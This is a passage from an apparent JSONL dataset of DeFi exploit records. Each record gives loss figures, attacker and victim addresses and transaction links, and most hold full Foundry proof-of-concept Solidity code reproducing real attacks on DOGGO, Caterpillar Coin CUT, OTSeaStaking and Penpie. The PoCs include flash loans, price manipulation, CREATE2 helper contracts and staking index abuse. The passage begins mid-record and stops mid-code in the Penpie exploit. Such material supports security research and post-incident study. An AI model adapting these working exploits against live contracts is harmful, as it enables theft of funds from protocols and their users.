"date": "2024-09", "file_name": "MARA_exp.sol", "attack_vector": "flash_loan", "content_hash": "85f51227c4c7a8dd", "collected_at": "2026-01-07T10:59:16.533494", "_source": "postmortems", "chain": "bsc", "block_number": 42538916, "total_lost_raw": "~8.8 WBNB", "total_lost_usd": 8.8, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x0fe3716431f8c2e43217c3ca6d25eed87e14d0fbfa9c9ee8ce4cef2e5ec4583c", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "~8.8 WBNB", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~8.8 WBNB", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x0fe3716431f8c2e43217c3ca6d25eed87e14d0fbfa9c9ee8ce4cef2e5ec4583c", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$9", "content_richness_score": 5.53, "quality_estimate": "medium", "title": "MARA Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 7K USD\n// Attacker : https://etherscan.io/address/0x7248939f65bdd23aab9eaab1bc4a4f909567486e\n// Attack Contract : https://etherscan.io/address/0xbdb0bc0941ba81672593cd8b3f9281789f2754d1\n// Vulnerable Contract : https://etherscan.io/address/0x240cd7b53d364a208ed41f8ced4965d11f571b7a\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x9e074d70e4f9022cba33c1417a6f6338d8248b67d6141c9a32913ca567d0efca?line=0\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x240cd7b53d364a208ed41f8ced4965d11f571b7a\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1837358462076080521\n// Twitter Guy : https://x.com/TenArmorAlert/status/1837358462076080521\n// Hacking God : N/A\n\naddress constant UniswapV3Pool = 0xeA5A12A857E8302D70fcb1123D5F8f57EF7B7d0B;\naddress constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant UniswapV2Router02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\naddress constant DOGGO = 0x240Cd7b53d364a208eD41f8cEd4965D11F571B7a;\naddress constant attacker = 0x7248939f65bdd23Aab9eaaB1bc4A4F909567486e;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20794802);\n deal(attacker, 3.78e-16 ether);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n deal(address(attC), 3.78e-16 ether);\n attC.attack{value: 3.78e-16 ether}();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0xBdb0bc0941BA81672593Cd8B3F9281789F2754D1\ncontract AttackerC {\n receive() external payable {}\n\n function attack() public payable {\n address token0 = IUniswapV3Pool(UniswapV3Pool).token0();\n if (token0 == DOGGO) {\n bytes memory data = abi.encode(\n DOGGO,\n uint256(4206900000000000001),\n UniswapV3Pool,\n uint8(1),\n uint256(7543239134633386634),\n uint256(0)\n );\n IUniswapV3Pool(UniswapV3Pool).flash(address(this), 7543239134633386634, 0, data);\n\n uint256 wbal = IWETH9(weth9).balanceOf(address(this));\n if (wbal > 0) {\n IWETH9(weth9).withdraw(wbal);\n uint256 tip = (((type(uint256).max * tx.gasprice) + 2824441419115821437) / 10000) * msg.value;\n if (tip > 0) {\n payable(block.coinbase).transfer(tip);\n }\n payable(tx.origin).transfer(address(this).balance);\n }\n }\n }\n\n function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external payable {\n uint256 balThis = IDOGGO(DOGGO).balanceOf(address(this));\n uint256 balDoggoSelf = IDOGGO(DOGGO).balanceOf(DOGGO);\n\n if (balDoggoSelf < 4206900000000000001) {\n if ((4206900000000000001 - balDoggoSelf) < balThis && balThis >= 4206900000000000001) {\n uint256 amountIn = balThis + balDoggoSelf - 8413800000000000002;\n IDOGGO(DOGGO).approve(UniswapV2Router02, amountIn);\n IUniswapV2Router02(UniswapV2Router02).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amountIn,\n 0,\n _path(DOGGO, weth9),\n address(this),\n block.timestamp + 1\n );\n\n uint256 doggoSelfAfter = IDOGGO(DOGGO).balanceOf(DOGGO);\n if (doggoSelfAfter < 4206900000000000001) {\n IDOGGO(DOGGO).transfer(DOGGO, 4206900000000000002 - doggoSelfAfter);\n uint256 balAfter = IDOGGO(DOGGO).balanceOf(address(this));\n IDOGGO(DOGGO).approve(UniswapV2Router02, balAfter);\n IUniswapV2Router02(UniswapV2Router02).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n balAfter,\n 0,\n _path(DOGGO, weth9),\n address(this),\n block.timestamp + 1\n );\n\n uint256 wbal = IWETH9(weth9).balanceOf(address(this));\n IWETH9(weth9).approve(UniswapV2Router02, wbal);\n uint256[] memory used = IUniswapV2Router02(UniswapV2Router02).swapTokensForExactTokens(\n 7618671525979720501,\n wbal,\n _path(weth9, DOGGO),\n address(this),\n block.timestamp + 1\n );\n\n if (IDOGGO(DOGGO).balanceOf(address(this)) >= 7618671525979720501) {\n IDOGGO(DOGGO).transfer(UniswapV3Pool, 7618671525979720501);\n }\n }\n }\n }\n }\n\n function _path(address a, address b) internal pure returns (address[] memory p) {\n p = new address[](2);\n p[0] = a;\n p[1] = b;\n }\n\n fallback() external payable {}\n}\n\ninterface IUniswapV3Pool {\n\tfunction token0() external view returns (address);\n\tfunction flash(address, uint256, uint256, bytes calldata) external; \n}\ninterface IWETH9 {\n\tfunction withdraw(uint256) external;\n\tfunction approve(address, uint256) external returns (bool);\n\tfunction balanceOf(address) external view returns (uint256); \n}\ninterface IUniswapV2Router02 {\n\tfunction swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256, uint256, address[] calldata, address, uint256) external;\n\tfunction swapTokensForExactTokens(uint256, uint256, address[] calldata, address, uint256) external returns (uint256[] memory); \n}\ninterface IDOGGO {\n\tfunction approve(address, uint256) external returns (bool);\n\tfunction transfer(address, uint256) external returns (bool);\n\tfunction balanceOf(address) external view returns (uint256); \n}", "type": "exploit_poc", "protocol": "DOGGO", "date": "2024-09", "file_name": "DOGGO_exp.sol", "attack_vector": null, "content_hash": "02122a120f36d5b4", "collected_at": "2026-01-07T10:59:16.533552", "_source": "postmortems", "chain": "ethereum", "block_number": 20794802, "total_lost_raw": "7K USD", "total_lost_usd": 7000.0, "attacker_address": "https://etherscan.io/address/0x7248939f65bdd23aab9eaab1bc4a4f909567486e", "attack_contract": "https://etherscan.io/address/0xbdb0bc0941ba81672593cd8b3f9281789f2754d1", "vulnerable_contract": "https://etherscan.io/address/0x240cd7b53d364a208ed41f8ced4965d11f571b7a", "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x9e074d70e4f9022cba33c1417a6f6338d8248b67d6141c9a32913ca567d0efca?line=0", "postmortem_url": "https://x.com/TenArmorAlert/status/1837358462076080521", "twitter_url": "https://x.com/TenArmorAlert/status/1837358462076080521", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "7K USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n deal(address(attC), 3.78e-16 ether);\n attC.attack{value: 3.78e-16 ether}();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0xBdb0bc0941BA81672593Cd8B3F9281789F2754D1\ncontract AttackerC {\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "7K USD", "keyinfo_attacker": "https://etherscan.io/address/0x7248939f65bdd23aab9eaab1bc4a4f909567486e", "keyinfo_attack_contract": "https://etherscan.io/address/0xbdb0bc0941ba81672593cd8b3f9281789f2754d1", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x240cd7b53d364a208ed41f8ced4965d11f571b7a", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x9e074d70e4f9022cba33c1417a6f6338d8248b67d6141c9a32913ca567d0efca?line=0", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1837358462076080521", "analysis_twitter": "https://x.com/TenArmorAlert/status/1837358462076080521", "funds_lost_formatted": "$7.0K", "content_richness_score": 9, "quality_estimate": "high", "title": "DOGGO Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~1.4M USD\n// Attacker : 0x5766d1F03378f50c7c981c014Ed5e5A8124f38A4\n// Attack Contract : 0x87EFb39a716860eCd2324A944Cb40EC5128e56Dd, 0xD9ad954Bea4ad65578904CEFE6Ee2A6EB13879dB\n// Vulnerable Contract : 0x7057f3b0f4d0649b428f0d8378a8a0e7d21d36a7, 0x7b2e7cb89824236cb7096cde7a153af30f3ecbaf\n// Attack Tx :\n// 0x2c123d08ca3d50c4b875c0b5de1b5c85d0bf9979dffbf87c48526e3a67396827\n// 0xce6e474dc9555ef971473fee19f87716f38ba01a0df39e78207b71eda134c420\n// 0x6262c0f15c88aed6f646ed1996eb6aae9ccc5d5704d5faccd1e1397dd047bc8a\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x7b2e7cb89824236cb7096cde7a153af30f3ecbaf(unveriified)\n\n// @Analysis\n// https://www.certik.com/zh-CN/resources/blog/caterpillar-coin-cut-token-incident-analysis\n\ncontract ContractTest is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 CUT = IERC20(0x7057F3b0F4D0649B428F0D8378A8a0E7D21d36a7);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IUniswapV2Factory Factory = IUniswapV2Factory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73);\n Uni_Pair_V2 WBNBUSDT2 = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);\n Uni_Pair_V2 BUSDCUT = Uni_Pair_V2(0x83681F67069A154815a0c6C2C97e2dAca6eD3249);\n\n uint256 borrow_amount;\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 42_131_697 - 1);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker BUSD before exploit\", BUSD.balanceOf(address(this)), 18);\n\n borrow_amount = 4_500_000 ether;\n\n WBNBUSDT2.swap(\n borrow_amount, 0, address(this), \"0x0000000000000000000000000000000000000000000000000000000000000001\"\n );\n\n emit log_named_decimal_uint(\"[End] Attacker BUSD after exploit\", BUSD.balanceOf(address(this)), 18);\n }\n\n function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n for (uint256 i = 0; i < 10; i++) {\n uint256 att_bal = BUSD.balanceOf(address(BUSDCUT)) * 3;\n address att_addr = calAddress(i);\n BUSD.transfer(att_addr, att_bal);\n createContract(i);\n }\n\n // payback\n BUSD.transfer(msg.sender, ((borrow_amount / 9975) * 10_000) + 10_000);\n }\n\n function calAddress(\n uint256 _salt\n ) internal returns (address) {\n bytes memory bytecode = type(Attack).creationCode;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n return hack_contract;\n }\n\n function createContract(\n uint256 _salt\n ) internal returns (address) {\n bytes memory bytecode = type(Attack).creationCode;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n address addr;\n // Use create2 to Send money first.\n assembly {\n addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)\n }\n\n return hack_contract;\n }\n\n receive() external payable {}\n}\n\ncontract Attack {\n Uni_Pair_V2 BUSDCUT = Uni_Pair_V2(0x83681F67069A154815a0c6C2C97e2dAca6eD3249);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 CUT = IERC20(0x7057F3b0F4D0649B428F0D8378A8a0E7D21d36a7);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n\n constructor() {\n uint256 busd_bal = BUSD.balanceOf(address(this));\n BUSD.approve(address(Router), type(uint256).max);\n CUT.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(BUSD);\n path[1] = address(CUT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n busd_bal * 7 / 10, 0, path, address(this), block.timestamp + 1\n );\n uint256 busd_bal_new = BUSD.balanceOf(address(this));\n uint256 cut_bal = CUT.balanceOf(address(this));\n Router.addLiquidity(\n address(BUSD), address(CUT), busd_bal_new * 3 / 10, cut_bal, 0, 0, address(this), block.timestamp + 1\n );\n\n uint256 cut_bal_new = CUT.balanceOf(address(this));\n path[0] = address(CUT);\n path[1] = address(BUSD);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n cut_bal_new, 0, path, address(this), block.timestamp + 1\n );\n\n BUSDCUT.transfer(address(BUSDCUT), BUSDCUT.balanceOf(address(this)));\n BUSDCUT.burn(address(this));\n\n cut_bal_new = CUT.balanceOf(address(this));\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n cut_bal_new, 0, path, address(this), block.timestamp + 1\n );\n\n BUSD.transfer(msg.sender, BUSD.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "Caterpillar_Coin_CUT", "date": "2024-09", "file_name": "Caterpillar_Coin_CUT_exp.sol", "attack_vector": null, "content_hash": "a965c43ab4a6ef0e", "collected_at": "2026-01-07T10:59:16.533619", "_source": "postmortems", "chain": "bsc", "block_number": 42131697, "total_lost_raw": "~1.4M USD", "total_lost_usd": 1400000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~1.4M USD", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~1.4M USD", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1.40M", "content_richness_score": 4.68, "quality_estimate": "low", "title": "Caterpillar_Coin_CUT Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n/*\n// @KeyInfo - Total Lost : 26k US$\n// Attacker : 0x000000003704BC4ffb86000046721f44Ef3DBABe\n// Attack Contract : 0xd11eE5A6a9EbD9327360D7A82e40d2F8C314e985\n// Vulnerable Contract : 0xF2c8e860ca12Cde3F3195423eCf54427A4f30916\n// Attack Tx : 0x90b4fcf583444d44efb8625e6f253cfcb786d2f4eda7198bdab67a54108cd5f4\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xf2c8e860ca12cde3f3195423ecf54427a4f30916#code\n\n// @Analysis\n*/\n\ninterface OTSeaRevenueDistributor {\n function distribute() external;\n}\n\ninterface OTSeaStaking {\n function withdraw(uint256[] calldata _indexes, address _receiver) external;\n function claim(uint256[] calldata _indexes, address _receiver) external;\n}\n\ninterface IUniswapV2Router01 {\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract ContractTest is Test {\n uint256 internal blocknumToForkFrom = 20_738_191 - 1;\n address internal otseaDist = 0x34BCcF4aF03870265Fe99cEc262524F343Cca7ff;\n address internal attackContract = 0x5AeC8469414332d62Bf5058fb91F2f8457e5C5CB;\n address internal otseaToken = 0x5dA151B95657e788076D04d56234Bd93e409CB09;\n address internal uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address internal otseaStaking = 0xF2c8e860ca12Cde3F3195423eCf54427A4f30916;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n vm.label(otseaDist, \"OTSeaRevenueDistributor\");\n vm.label(attackContract, \"Attacker\");\n vm.label(otseaToken, \"OTSea: OTSea Token\");\n vm.label(uniswapRouter, \"Uniswap V2: Router 2\");\n vm.label(otseaStaking, \"OTSeaStaking\");\n }\n\n function testExploit() public {\n OTSeaRevenueDistributor(otseaDist).distribute();\n vm.startPrank(attackContract);\n for (uint256 i = 0; i < 14; i++) {\n uint256[] memory indexes = new uint256[](21);\n for (uint256 j = 0; j < 20; j++) {\n indexes[j] = j;\n }\n indexes[20] = 20 + i;\n\n OTSeaStaking(otseaStaking).claim(indexes, attackContract);\n OTSeaStaking(otseaStaking).withdraw(indexes, attackContract);\n }\n for (uint256 i = 0; i < 10; i++) {\n uint256[] memory indexes = new uint256[](2);\n for (uint256 j = 0; j < 1; j++) {\n indexes[j] = j;\n }\n indexes[1] = 34 + i;\n\n OTSeaStaking(otseaStaking).claim(indexes, attackContract);\n OTSeaStaking(otseaStaking).withdraw(indexes, attackContract);\n }\n for (uint256 i = 0; i < 22; i++) {\n uint256[] memory indexes = new uint256[](25);\n for (uint256 j = 0; j < 23; j++) {\n indexes[j] = j + 20;\n }\n indexes[23] = 70;\n indexes[24] = 43 + i;\n\n OTSeaStaking(otseaStaking).claim(indexes, attackContract);\n OTSeaStaking(otseaStaking).withdraw(indexes, attackContract);\n }\n address weth = IUniswapV2Router02(uniswapRouter).WETH();\n IERC20(otseaToken).approve(uniswapRouter, 6_000_000_000_000_000_000_000_000);\n address[] memory paths = new address[](2);\n paths[0] = otseaToken;\n paths[1] = weth;\n IUniswapV2Router02(uniswapRouter).swapExactTokensForETHSupportingFeeOnTransferTokens(\n 6_000_000_000_000_000_000_000_000, 0, paths, attackContract, 1_726_188_611\n );\n vm.stopPrank();\n uint256 balance = IERC20(otseaToken).balanceOf(attackContract);\n console.log(\"Attacker earned:\", balance);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "OTSeaStaking", "date": "2024-09", "file_name": "OTSeaStaking_exp.sol", "attack_vector": null, "content_hash": "2e94e955d1778271", "collected_at": "2026-01-07T10:59:16.533680", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "26k US$", "total_lost_usd": 26000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "26k US$", "category": "unknown", "exploit_code": "function testExploit() public {\n OTSeaRevenueDistributor(otseaDist).distribute();\n vm.startPrank(attackContract);\n for (uint256 i = 0; i < 14; i++) {\n uint256[] memory indexes = new uint256[](21);\n for (uint256 j = 0; j < 20; j++) {\n indexes[j] = j;\n }\n indexes[20] = 20 + i;\n\n OTSeaStaking(otseaStaking).claim(indexes, attackContract);\n OTSeaStaking(otseaStaking).withdraw(indexes, attackContract);\n }\n for (uint256 i = 0; i < 10; i++) {\n uint256[] memory indexes = new uint256[](2);\n for (uint256 j = 0; j < 1; j++) {\n indexes[j] = j;\n }\n indexes[1] = 34 + i;\n\n OTSeaStaking(otseaStaking).claim(indexes, attackContract);\n OTSeaStaking(otseaStaking).withdraw(indexes, attackContract);\n }\n for (uint256 i = 0; i < 22; i++) {\n uint256[] memory indexes = new uint256[](25);\n for (uint256 j = 0; j < 23; j++) {\n indexes[j] = j + 20;\n }\n indexes[23] = 70;\n indexes[24] = 43 + i;\n\n OTSeaStaking(otseaStaking).claim(indexes, attackContract);\n OTSeaStaking(otseaStaking).withdraw(indexes, attackContract);\n }\n address weth = IUniswapV2Router02(uniswapRouter).WETH();\n IERC20(otseaToken).approve(uniswapRouter, 6_000_000_000_000_000_000_000_000);\n address[] memory paths = new address[](2);\n paths[0] = otseaToken;\n paths[1] = weth;\n IUniswapV2Router02(uniswapRouter).swapExactTokensForETHSupportingFeeOnTransferTokens(\n 6_000_000_000_000_000_000_000_000, 0, paths, attackContract, 1_726_188_611\n );\n vm.stopPrank();\n uint256 balance = IERC20(otseaToken).balanceOf(attackContract);\n console.log(\"Attacker earned:\", balance);\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "26k US$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$26.0K", "content_richness_score": 5.99, "quality_estimate": "medium", "title": "OTSeaStaking Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)\n\n// Contrasts involved\naddress constant agETH = 0xe1B4d34E8754600962Cd944B535180Bd758E6c2e;\naddress constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;\naddress constant rswETH = 0xFAe103DC9cf190eD75350761e95403b7b8aFa6c0;\naddress constant PENDLE_LPT_0x6010 = 0x6010676Bc2534652aD1Ef5Fa8073DcF9AD7EBFBe;\naddress constant PENDLE_LPT_0x038c = 0x038C1b03daB3B891AfbCa4371ec807eDAa3e6eB6;\naddress constant PendleRouterV4 = 0x888888888889758F76e7103c6CbF23ABbF58F946;\naddress constant MasterPenpie = 0x16296859C15289731521F199F0a5f762dF6347d0;\naddress constant PendleYieldContractFactory = 0x35A338522a435D46f77Be32C70E215B813D0e3aC;\naddress constant PendleMarketFactoryV3 = 0x6fcf753f2C67b83f7B09746Bbc4FA0047b35D050;\naddress constant PendleMarketRegisterHelper = 0xd20c245e1224fC2E8652a283a8f5cAE1D83b353a;\naddress constant PendleMarketDepositHelper_0x1c1f = 0x1C1Fb35334290b5ff1bF7B4c09130885b10Fc0f4;\naddress constant PendleStaking_0x6e79 = 0x6E799758CEE75DAe3d84e09D40dc416eCf713652;\n\ncontract Penpiexyz_io_exp is Test {\n Attacker attacker;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_671_878 - 1);\n }\n\n function testPoC_A() public {\n attacker = new Attacker();\n\n // First tx: 0x7e7f9548f301d3dd863eac94e6190cb742ab6aa9d7730549ff743bf84cbd21d1\n attacker.createMarket();\n\n // To pass `if (lastRewardBlock != block.number) {` of PendleMarketV3 contract\n vm.roll(block.number + 1);\n\n // Second tx: 0x42b2ec27c732100dd9037c76da415e10329ea41598de453bb0c0c9ea7ce0d8e5\n attacker.attack();\n\n console.log(\"Final balance in agETH :\", IERC20(agETH).balanceOf(address(attacker)));\n console.log(\"Final balance in rswETH:\", IERC20(rswETH).balanceOf(address(attacker)));\n }\n}\n\n// Minimum contract just to make the hack work\nabstract contract ERC20 {\n string public name = \"\";\n string public symbol = \"\";\n uint8 public immutable decimals = 18;\n mapping(address => uint256) public balanceOf;\n\n function transfer(address to, uint256 amount) public virtual returns (bool) {\n balanceOf[to] += amount;\n }\n\n function _mint(address to, uint256 amount) internal virtual {\n balanceOf[to] += amount;\n }\n}\n\ncontract Attacker is ERC20 {\n address PENDLE_LPT; // Equal to PENDLE_LPT_0x5b6c = 0x5b6c23aedf704D19d6D8e921E638e8AE03cDCa82; of the original hack transaction\n\n uint256 saved_bal;\n uint256 saved_bal1;\n uint256 saved_bal2;\n uint256 saved_value;\n\n function assetInfo() external view returns (uint8, address, uint8) {\n return (0, address(this), 8);\n }\n\n function exchangeRate() external view returns (uint256 res) {\n return 1 ether;\n }\n\n function getRewardTokens() external view returns (address[] memory) {\n if (PENDLE_LPT == msg.sender) {\n address[] memory tokens = new address[](2);\n tokens[0] = PENDLE_LPT_0x6010;\n tokens[1] = PENDLE_LPT_0x038c;\n return tokens;\n }\n }\n\n function rewardIndexesCurrent() external returns (uint256[] memory) {}\n\n uint256 claimRewardsCall;\n\n function claimRewards(\n address user\n ) external returns (uint256[] memory rewardAmounts) {\n if (claimRewardsCall == 0) {\n claimRewardsCall++;\n return new uint256[](0);\n }\n\n if (claimRewardsCall == 1) {\n IERC20(agETH).approve(PendleRouterV4, type(uint256).max);\n uint256 bal_agETH = IERC20(agETH).balanceOf(address(this));\n\n {\n Interfaces.SwapData memory swapData = Interfaces.SwapData(\n Interfaces.SwapType.NONE, // SwapType swapType;\n address(0), // address extRouter;\n \"\", // bytes extCalldata;\n false // bool needScale;\n );\n Interfaces.TokenInput memory input = Interfaces.TokenInput(\n agETH, // address tokenIn;\n bal_agETH, // uint256 netTokenIn;\n agETH, // address tokenMintSy;\n address(0), // address pendleSwap;\n swapData\n );\n Interfaces(PendleRouterV4).addLiquiditySingleTokenKeepYt(\n address(this), // address receiver,\n PENDLE_LPT_0x6010, // address market,\n 1, // uint256 minLpOut,\n 1, // uint256 minYtOut,\n input // TokenInput calldata input\n );\n }\n\n saved_bal = IERC20(PENDLE_LPT_0x6010).balanceOf(address(this));\n IERC20(PENDLE_LPT_0x6010).approve(PendleStaking_0x6e79, saved_bal);\n Interfaces(PendleMarketDepositHelper_0x1c1f).depositMarket(PENDLE_LPT_0x6010, saved_bal);\n IERC20(rswETH).approve(PendleRouterV4, type(uint256).max);\n uint256 bal_rswETH = IERC20(rswETH).balanceOf(address(this));\n\n {\n Interfaces.SwapData memory swapData = Interfaces.SwapData(\n Interfaces.SwapType.NONE, // SwapType swapType;\n address(0), // address extRouter;\n \"\", // bytes extCalldata;\n false // bool needScale;\n );\n Interfaces.TokenInput memory input = Interfaces.TokenInput(\n rswETH, // address tokenIn;\n bal_rswETH, // uint256 netTokenIn;\n rswETH, // address tokenMintSy;\n address(0), // address pendleSwap;\n swapData\n );\n (saved_value,,,) = Interfaces(PendleRouterV4).addLiquiditySingleTokenKeepYt(\n address(this), // address receiver,\n PENDLE_LPT_0x038c, // address market,\n 1, // uint256 minLpOut,\n 1, // uint256 minYtOut,\n input // TokenInput calldata input\n );\n }\n\n uint256 bal_PENDLE_LPT_0x038c_this = IERC20(PENDLE_LPT_0x038c).balanceOf(address(this));\n IERC20(PENDLE_LPT_0x038c).approve(PendleStaking_0x6e79, bal_PENDLE_LPT_0x038c_this);\n\n Interfaces(PendleMarketDepositHelper_0x1c1f).depositMarket(PENDLE_LPT_0x038c, bal_PENDLE_LPT_0x038c_this);\n }\n }\n\n function createMarket() external {\n (address PT, address YT) =\n Interfaces(PendleYieldContractFactory).createYieldContract(address(this), 1_735_171_200, true);\n PENDLE_LPT = Interfaces(PendleMarketFactoryV3).createNewMarket(\n PT, 23_352_202_321_000_000_000, 1_032_480_618_000_000_000, 1_998_002_662_000_000\n );\n Interfaces(PendleMarketRegisterHelper).registerPenpiePool(PENDLE_LPT);\n\n _mint(address(YT), 1 ether);\n\n Interfaces(YT).mintPY(address(this), address(this));\n\n uint256 bal = IERC20(PT).balanceOf(address(this));\n\n IERC20(PT).transfer(PENDLE_LPT, bal);\n\n _mint(address(PENDLE_LPT), 1 ether);\n\n Interfaces(PENDLE_LPT).mint(address(this), 1 ether, 1 ether);\n\n IERC20(PENDLE_LPT).approve(PendleStaking_0x6e79, type(uint256).max);\n\n Interfaces(PendleMarketDepositHelper_0x1c1f).depositMarket(PENDLE_LPT, 999_999_999_999_999_000);\n }\n\n // Second\n\n function attack() external {\n address[] memory tokens = new address[](2);\n tokens[0] = agETH;\n tokens[1] = rswETH;\n uint256[] memory amounts = new uint256[](2);\n saved_bal1 = IERC20(agETH).balanceOf(balancerVault);\n amounts[0] = saved_bal1;\n saved_bal2 = IERC20(rswETH).balanceOf(balancerVault);\n amounts[1] = saved_bal2;\n Interfaces(balancerVault).flashLoan(address(this), tokens, amounts, \"\");\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n address[] memory _markets = new address[](1);\n _markets[0] = PENDLE_LPT;\n Interfaces(PendleStaking_0x6e79).batchHarvestMarketRewards(_markets, 0);\n\n Interfaces(MasterPenpie).multiclaim(_markets);\n Interfaces(PendleMarketDepositHelper_0x1c1f).withdrawMarket(PENDLE_LPT_0x6010, saved_bal);\n uint256 bal_this = IERC20(PENDLE_LPT_0x6010).balanceOf(address(this));\n\n IERC20(PENDLE_LPT_0x6010).approve(PendleRouterV4, bal_this);\n\n {\n Interfaces.LimitOrderData memory limit = Interfaces.LimitOrderData(\n address(0), // address 